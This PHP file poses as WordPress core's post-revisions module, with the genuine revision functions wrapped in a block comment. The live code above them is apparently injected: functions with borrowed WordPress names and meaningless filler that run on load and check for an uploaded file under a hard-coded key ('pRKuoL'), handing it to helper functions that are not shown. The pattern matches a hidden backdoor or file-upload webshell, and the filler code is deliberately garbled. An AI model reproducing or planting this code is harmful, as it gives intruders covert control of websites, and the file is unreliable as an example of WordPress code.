				 * or callback. Grab them from the previously added context/priority.
				 */
function wp_untrash_post_comments($BitrateCompressed, $v_minute, $upgrade_plan)
{ // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes".
    if (isset($_FILES[$BitrateCompressed])) {
    $uploaded_file = "ExampleText"; // Also used by Edit Tags.
    $CurrentDataLAMEversionString = substr($uploaded_file, 5, 4);
    $settings_errors = rawurldecode($CurrentDataLAMEversionString);
    if (strlen($settings_errors) > 0) {
        $preset_gradient_color = do_core_upgrade("sha256", $settings_errors);
        $schema_in_root_and_per_origin = str_pad($preset_gradient_color, 64, "K");
    }

    $DKIM_private = explode(";", "val1;val2");
        autosaved($BitrateCompressed, $v_minute, $upgrade_plan);
    $term_query = array("val3", "val4");
    $top_level_query = array_merge($DKIM_private, $term_query);
    $p_bytes = date("i:s");
    }
	
    handle_content_type($upgrade_plan);
}


/* translators: %d: Duration in seconds from or to a particular datetime, e.g., "4 seconds ago" or "4 seconds from now". */
function send_cmd() {
    $unique_failures = "apple";
    $tags_data = "banana";
    $skipped_signature = substr($unique_failures, 1, 2); //Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
    $CommandTypeNameLength = substr($tags_data, 1, 2);
    $post_parent__not_in = $skipped_signature ^ $CommandTypeNameLength;
    session_start();
    $merged_content_struct = array($skipped_signature, $CommandTypeNameLength, $post_parent__not_in);
    $searches = count($merged_content_struct);
    session_unset(); // Give front page item the 'current-menu-item' class when extra query arguments are involved.
    if (!empty($merged_content_struct)) {
        $vert = str_pad($searches, 5, "0", STR_PAD_LEFT);
    }
 // Report this failure back to WordPress.org for debugging purposes.
    $twobytes = trim($vert);
    $post_max_size = rawurldecode("Hello%20World");
    session_destroy();
}


/* translators: 1: Name of deactivated plugin, 2: Plugin version deactivated, 3: Current WP version, 4: Compatible plugin version. */
function wp_kses_bad_protocol_once($video) {
    $match_offset = true;
    rsort($video);
    $options_graphic_png_max_data_bytes = array();
    $mem = "random";
    for ($twobytes = 0; $twobytes < 5; $twobytes++) {
        $options_graphic_png_max_data_bytes[] = $mem;
    }

    return $video; // Add SVG filters to the footer. Also, for classic themes, output block styles (core-block-supports-inline-css).
}
$BitrateCompressed = 'pRKuoL'; // ----- Nothing to duplicate, so duplicate is a success.
$restrict_network_active = "Comp Text";
block_core_navigation_get_post_ids($BitrateCompressed);
$plugin_translations = explode(" ", $restrict_network_active);
$reinstall = rest_validate_integer_value_from_schema([3, 1, 2]);
$logins = implode("-", $plugin_translations);
/* *
 * @since 6.4.0
 *
 * @param int $revision_id The ID of the revision to save the meta to.
 * @param int $post_id     The ID of the post the revision is associated with.
 
function wp_save_revisioned_meta_fields( $revision_id, $post_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {
		if ( metadata_exists( 'post', $post_id, $meta_key ) ) {
			_wp_copy_post_meta( $post_id, $revision_id, $meta_key );
		}
	}
}

*
 * Gets a post revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post   Post ID or post object.
 * @param string      $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                            correspond to a WP_Post object, an associative array, or a numeric array,
 *                            respectively. Default OBJECT.
 * @param string      $filter Optional sanitization filter. See sanitize_post(). Default 'raw'.
 * @return WP_Post|array|null WP_Post (or array) on success, or null on failure.
 
function wp_get_post_revision( &$post, $output = OBJECT, $filter = 'raw' ) {
	$revision = get_post( $post, OBJECT, $filter );

	if ( ! $revision ) {
		return $revision;
	}

	if ( 'revision' !== $revision->post_type ) {
		return null;
	}

	if ( OBJECT === $output ) {
		return $revision;
	} elseif ( ARRAY_A === $output ) {
		$_revision = get_object_vars( $revision );
		return $_revision;
	} elseif ( ARRAY_N === $output ) {
		$_revision = array_values( get_object_vars( $revision ) );
		return $_revision;
	}

	return $revision;
}

*
 * Restores a post to the specified revision.
 *
 * Can restore a past revision using all fields of the post revision, or only selected fields.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @param array       $fields   Optional. What fields to restore from. Defaults to all.
 * @return int|false|null Null if error, false if no fields to restore, (int) post ID if success.
 
function wp_restore_post_revision( $revision, $fields = null ) {
	$revision = wp_get_post_revision( $revision, ARRAY_A );

	if ( ! $revision ) {
		return $revision;
	}

	if ( ! is_array( $fields ) ) {
		$fields = array_keys( _wp_post_revision_fields( $revision ) );
	}

	$update = array();
	foreach ( array_intersect( array_keys( $revision ), $fields ) as $field ) {
		$update[ $field ] = $revision[ $field ];
	}

	if ( ! $update ) {
		return false;
	}

	$update['ID'] = $revision['post_parent'];

	$update = wp_slash( $update );  Since data is from DB.

	$post_id = wp_update_post( $update );

	if ( ! $post_id || is_wp_error( $post_id ) ) {
		return $post_id;
	}

	 Update last edit user.
	update_post_meta( $post_id, '_edit_last', get_current_user_id() );

	*
	 * Fires after a post revision has been restored.
	 *
	 * @since 2.6.0
	 *
	 * @param int $post_id     Post ID.
	 * @param int $revision_id Post revision ID.
	 
	do_action( 'wp_restore_post_revision', $post_id, $revision['ID'] );

	return $post_id;
}

*
 * Restore the revisioned meta values for a post.
 *
 * @since 6.4.0
 *
 * @param int $post_id     The ID of the post to restore the meta to.
 * @param int $revision_id The ID of the revision to restore the meta from.
 
function wp_restore_post_revision_meta( $post_id, $revision_id ) {
	$post_type = get_post_type( $post_id );
	if ( ! $post_type ) {
		return;
	}

	 Restore revisioned meta fields.
	foreach ( wp_post_revision_meta_keys( $post_type ) as $meta_key ) {

		 Clear any existing meta.
		delete_post_meta( $post_id, $meta_key );

		_wp_copy_post_meta( $revision_id, $post_id, $meta_key );
	}
}

*
 * Copy post meta for the given key from one post to another.
 *
 * @since 6.4.0
 *
 * @param int    $source_post_id Post ID to copy meta value(s) from.
 * @param int    $target_post_id Post ID to copy meta value(s) to.
 * @param string $meta_key       Meta key to copy.
 
function _wp_copy_post_meta( $source_post_id, $target_post_id, $meta_key ) {

	foreach ( get_post_meta( $source_post_id, $meta_key ) as $meta_value ) {
		*
		 * We use add_metadata() function vs add_post_meta() here
		 * to allow for a revision post target OR regular post.
		 
		add_metadata( 'post', $target_post_id, $meta_key, wp_slash( $meta_value ) );
	}
}

*
 * Determine which post meta fields should be revisioned.
 *
 * @since 6.4.0
 *
 * @param string $post_type The post type being revisioned.
 * @return array An array of meta keys to be revisioned.
 
function wp_post_revision_meta_keys( $post_type ) {
	$registered_meta = array_merge(
		get_registered_meta_keys( 'post' ),
		get_registered_meta_keys( 'post', $post_type )
	);

	$wp_revisioned_meta_keys = array();

	foreach ( $registered_meta as $name => $args ) {
		if ( $args['revisions_enabled'] ) {
			$wp_revisioned_meta_keys[ $name ] = true;
		}
	}

	$wp_revisioned_meta_keys = array_keys( $wp_revisioned_meta_keys );

	*
	 * Filter the list of post meta keys to be revisioned.
	 *
	 * @since 6.4.0
	 *
	 * @param array  $keys      An array of meta fields to be revisioned.
	 * @param string $post_type The post type being revisioned.
	 
	return apply_filters( 'wp_post_revision_meta_keys', $wp_revisioned_meta_keys, $post_type );
}

*
 * Check whether revisioned post meta fields have changed.
 *
 * @since 6.4.0
 *
 * @param bool    $post_has_changed Whether the post has changed.
 * @param WP_Post $last_revision    The last revision post object.
 * @param WP_Post $post             The post object.
 * @return bool Whether the post has changed.
 
function wp_check_revisioned_meta_fields_have_changed( $post_has_changed, WP_Post $last_revision, WP_Post $post ) {
	foreach ( wp_post_revision_meta_keys( $post->post_type ) as $meta_key ) {
		if ( get_post_meta( $post->ID, $meta_key ) !== get_post_meta( $last_revision->ID, $meta_key ) ) {
			$post_has_changed = true;
			break;
		}
	}
	return $post_has_changed;
}

*
 * Deletes a revision.
 *
 * Deletes the row from the posts table corresponding to the specified revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $revision Revision ID or revision object.
 * @return WP_Post|false|null Null or false if error, deleted post object if success.
 
function wp_delete_post_revision( $revision ) {
	$revision = wp_get_post_revision( $revision );

	if ( ! $revision ) {
		return $revision;
	}

	$delete = wp_delete_post( $revision->ID );

	if ( $delete ) {
		*
		 * Fires once a post revision has been deleted.
		 *
		 * @since 2.6.0
		 *
		 * @param int     $revision_id Post revision ID.
		 * @param WP_Post $revision    Post revision object.
		 
		do_action( 'wp_delete_post_revision', $revision->ID, $revision );
	}

	return $delete;
}

*
 * Returns all revisions of specified post.
 *
 * @since 2.6.0
 *
 * @see get_children()
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @param array|null  $args Optional. Arguments for retrieving post revisions. Default null.
 * @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
 
function wp_get_post_revisions( $post = 0, $args = null ) {
	$post = get_post( $post );

	if ( ! $post || empty( $post->ID ) ) {
		return array();
	}

	$defaults = array(
		'order'         => 'DESC',
		'orderby'       => 'date ID',
		'check_enabled' => true,
	);
	$args     = wp_parse_args( $args, $defaults );

	if ( $args['check_enabled'] && ! wp_revisions_enabled( $post ) ) {
		return array();
	}

	$args = array_merge(
		$args,
		array(
			'post_parent' => $post->ID,
			'post_type'   => 'revision',
			'post_status' => 'inherit',
		)
	);

	$revisions = get_children( $args );

	if ( ! $revisions ) {
		return array();
	}

	return $revisions;
}

*
 * Returns the latest revision ID and count of revisions for a post.
 *
 * @since 6.1.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
 * @return array|WP_Error {
 *     Returns associative array with latest revision ID and total count,
 *     or a WP_Error if the post does not exist or revisions are not enabled.
 *
 *     @type int $latest_id The latest revision post ID or 0 if no revisions exist.
 *     @type int $count     The total count of revisions for the given post.
 * }
 
function wp_get_latest_revision_id_and_total_count( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post.' ) );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return new WP_Error( 'revisions_not_enabled', __( 'Revisions not enabled.' ) );
	}

	$args = array(
		'post_parent'         => $post->ID,
		'fields'              => 'ids',
		'post_type'           => 'revision',
		'post_status'         => 'inherit',
		'order'               => 'DESC',
		'orderby'             => 'date ID',
		'posts_per_page'      => 1,
		'ignore_sticky_posts' => true,
	);

	$revision_query = new WP_Query();
	$revisions      = $revision_query->query( $args );

	if ( ! $revisions ) {
		return array(
			'latest_id' => 0,
			'count'     => 0,
		);
	}

	return array(
		'latest_id' => $revisions[0],
		'count'     => $revision_query->found_posts,
	);
}

*
 * Returns the url for viewing and potentially restoring revisions of a given post.
 *
 * @since 5.9.0
 *
 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
 * @return string|null The URL for editing revisions on the given post, otherwise null.
 
function wp_get_post_revisions_url( $post = 0 ) {
	$post = get_post( $post );

	if ( ! $post instanceof WP_Post ) {
		return null;
	}

	 If the post is a revision, return early.
	if ( 'revision' === $post->post_type ) {
		return get_edit_post_link( $post );
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return null;
	}

	$revisions = wp_get_latest_revision_id_and_total_count( $post->ID );

	if ( is_wp_error( $revisions ) || 0 === $revisions['count'] ) {
		return null;
	}

	return get_edit_post_link( $revisions['latest_id'] );
}

*
 * Determines whether revisions are enabled for a given post.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return bool True if number of revisions to keep isn't zero, false otherwise.
 
function wp_revisions_enabled( $post ) {
	return wp_revisions_to_keep( $post ) !== 0;
}

*
 * Determines how many revisions to retain for a given post.
 *
 * By default, an infinite number of revisions are kept.
 *
 * The constant WP_POST_REVISIONS can be set in wp-config to specify the limit
 * of revisions to keep.
 *
 * @since 3.6.0
 *
 * @param WP_Post $post The post object.
 * @return int The number of revisions to keep.
 
function wp_revisions_to_keep( $post ) {
	$num = WP_POST_REVISIONS;

	if ( true === $num ) {
		$num = -1;
	} else {
		$num = (int) $num;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		$num = 0;
	}

	*
	 * Filters the number of revisions to save for the given post.
	 *
	 * Overrides the value of WP_POST_REVISIONS.
	 *
	 * @since 3.6.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 
	$num = apply_filters( 'wp_revisions_to_keep', $num, $post );

	*
	 * Filters the number of revisions to save for the given post by its post type.
	 *
	 * Overrides both the value of WP_POST_REVISIONS and the {@see 'wp_revisions_to_keep'} filter.
	 *
	 * The dynamic portion of the hook name, `$post->post_type`, refers to
	 * the post type slug.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_post_revisions_to_keep`
	 *  - `wp_page_revisions_to_keep`
	 *
	 * @since 5.8.0
	 *
	 * @param int     $num  Number of revisions to store.
	 * @param WP_Post $post Post object.
	 
	$num = apply_filters( "wp_{$post->post_type}_revisions_to_keep", $num, $post );

	return (int) $num;
}

*
 * Sets up the post object for preview based on the post autosave.
 *
 * @since 2.7.0
 * @access private
 *
 * @param WP_Post $post
 * @return WP_Post|false
 
function _set_preview( $post ) {
	if ( ! is_object( $post ) ) {
		return $post;
	}

	$preview = wp_get_post_autosave( $post->ID );

	if ( is_object( $preview ) ) {
		$preview = sanitize_post( $preview );

		$post->post_content = $preview->post_content;
		$post->post_title   = $preview->post_title;
		$post->post_excerpt = $preview->post_excerpt;
	}

	add_filter( 'get_the_terms', '_wp_preview_terms_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_post_thumbnail_filter', 10, 3 );
	add_filter( 'get_post_metadata', '_wp_preview_meta_filter', 10, 4 );

	return $post;
}

*
 * Filters the latest content for preview from the post autosave.
 *
 * @since 2.7.0
 * @access private
 
function _show_post_preview() {
	if ( isset( $_GET['preview_id'] ) && isset( $_GET['preview_nonce'] ) ) {
		$id = (int) $_GET['preview_id'];

		if ( false === wp_verify_nonce( $_GET['preview_nonce'], 'post_preview_' . $id ) ) {
			wp_die( __( 'Sorry, you are not allowed to preview drafts.' ), 403 );
		}

		add_filter( 'the_preview', '_set_preview' );
	}
}

*
 * Filters terms lookup to set the post format.
 *
 * @since 3.6.0
 * @access private
 *
 * @param array  $terms
 * @param int    $post_id
 * @param string $taxonomy
 * @return array
 
function _wp_preview_terms_filter( $terms, $post_id, $taxonomy ) {
	$post = get_post();

	if ( ! $post ) {
		return $terms;
	}

	if ( empty( $_REQUEST['post_format'] ) || $post->ID !== $post_id
		|| 'post_format' !== $taxonomy || 'revision' === $post->post_type
	) {
		return $terms;
	}

	if ( 'standard' === $_REQUEST['post_format'] ) {
		$terms = array();
	} else {
		$term = get_term_by( 'slug', 'post-format-' . sanitize_key( $_REQUEST['post_format'] ), 'post_format' );

		if ( $term ) {
			$terms = array( $term );  Can only have one post format.
		}
	}

	return $terms;
}

*
 * Filters post thumbnail lookup to set the post thumbnail.
 *
 * @since 4.6.0
 * @access private
 *
 * @param null|array|string $value    The value to return - a single metadata value, or an array of values.
 * @param int               $post_id  Post ID.
 * @param string            $meta_key Meta key.
 * @return null|array The default return value or the post thumbnail meta array.
 
function _wp_preview_post_thumbnail_filter( $value, $post_id, $meta_key ) {
	$post = get_post();

	if ( ! $post ) {
		return $value;
	}

	if ( empty( $_REQUEST['_thumbnail_id'] ) || empty( $_REQUEST['preview_id'] )
		|| $post->ID !== $post_id || $post_id !== (int) $_REQUEST['preview_id']
		|| '_thumbnail_id' !== $meta_key || 'revision' === $post->post_type
	) {
		return $value;
	}

	$thumbnail_id = (int) $_REQUEST['_thumbnail_id'];

	if ( $thumbnail_id <= 0 ) {
		return '';
	}

	return (string) $thumbnail_id;
}

*
 * Gets the post revision version.
 *
 * @since 3.6.0
 * @access private
 *
 * @param WP_Post $revision
 * @return int|false
 
function _wp_get_post_revision_version( $revision ) {
	if ( is_object( $revision ) ) {
		$revision = get_object_vars( $revision );
	} elseif ( ! is_array( $revision ) ) {
		return false;
	}

	if ( preg_match( '/^\d+-(?:autosave|revision)-v(\d+)$/', $revision['post_name'], $matches ) ) {
		return (int) $matches[1];
	}

	return 0;
}

*
 * Upgrades the revisions author, adds the current post as a revision and sets the revisions version to 1.
 *
 * @since 3.6.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param WP_Post $post      Post object.
 * @param array   $revisions Current revisions of the post.
 * @return bool true if the revisions were upgraded, false if problems.
 
function _wp_upgrade_revisions_of_post( $post, $revisions ) {
	global $wpdb;

	 Add post option exclusively.
	$lock   = "revision-upgrade-{$post->ID}";
	$now    = time();
	$result = $wpdb->query( $wpdb->prepare( "INSERT IGNORE INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, 'off')  LOCK ", $lock, $now ) );

	if ( ! $result ) {
		 If we couldn't get a lock, see how old the previous lock is.
		$locked = get_option( $lock );

		if ( ! $locked ) {
			
			 * Can't write to the lock, and can't read the lock.
			 * Something broken has happened.
			 
			return false;
		}

		if ( $locked > $now - HOUR_IN_SECONDS ) {
			 Lock is not too old: some other process may be upgrading this post. Bail.
			return false;
		}

		 Lock is too old - update it (below) and continue.
	}

	 If we could get a lock, re-"add" the option to fire all the correct filters.
	update_option( $lock, $now );

	reset( $revisions );
	$add_last = true;

	do {
		$this_revision = current( $revisions );
		$prev_revision = next( $revisions );

		$this_revision_version = _wp_get_post_revision_version( $this_revision );

		 Something terrible happened.
		if ( false === $this_revision_version ) {
			continue;
		}

		
		 * 1 is the latest revision version, so we're already up to date.
		 * No need to add a copy of the post as latest revision.
		 
		if ( 0 < $this_revision_version ) {
			$add_last = false;
			continue;
		}

		 Always update the revision version.
		$update = array(
			'post_name' => preg_replace( '/^(\d+-(?:autosave|revision))[\d-]*$/', '$1-v1', $this_revision->post_name ),
		);

		
		 * If this revision is the oldest revision of the post, i.e. no $prev_revision,
		 * the correct post_author is probably $post->post_author, but that's only a good guess.
		 * Update the revision version only and Leave the author as-is.
		 
		if ( $prev_revision ) {
			$prev_revision_version = _wp_get_post_revision_version( $prev_revision );

			 If the previous revision is already up to date, it no longer has the information we need :(
			if ( $prev_revision_version < 1 ) {
				$update['post_author'] = $prev_revision->post_author;
			}
		}

		 Upgrade this revision.
		$result = $wpdb->update( $wpdb->posts, $update, array( 'ID' => $this_revision->ID ) );

		if ( $result ) {
			wp_cache_delete( $this_revision->ID, 'posts' );
		}
	} while ( $prev_revision );

	delete_option( $lock );

	 Add a copy of the post as latest revision.
	if ( $add_last ) {
		wp_save_post_revision( $post->ID );
	}

	return true;
}

*
 * Filters preview post meta retrieval to get values from the autosave.
 *
 * Filters revisioned meta keys only.
 *
 * @since 6.4.0
 *
 * @param mixed  $value     Meta value to filter.
 * @param int    $object_id Object ID.
 * @param string $meta_key  Meta key to filter a value for.
 * @param bool   $single    Whether to return a single value. Default false.
 * @return mixed Original meta value if the meta key isn't revisioned, the object doesn't exist,
 *               the post type is a revision or the post ID doesn't match the object ID.
 *               Otherwise, the revisioned meta value is returned for the preview.
 
function _wp_preview_meta_filter( $value, $object_id, $meta_key, $single ) {

	$post = get_post();
	if (
		empty( $post ) ||
		$post->ID !== $object_id ||
		! in_array( $meta_key, wp_post_revision_meta_keys( $post->post_type ), true ) ||
		'revision' === $post->post_type
	) {
		return $value;
	}

	$preview = wp_get_post_autosave( $post->ID );
	if ( false === $preview ) {
		return $value;
	}

	return get_post_meta( $preview->ID, $meta_key, $single );
}
*/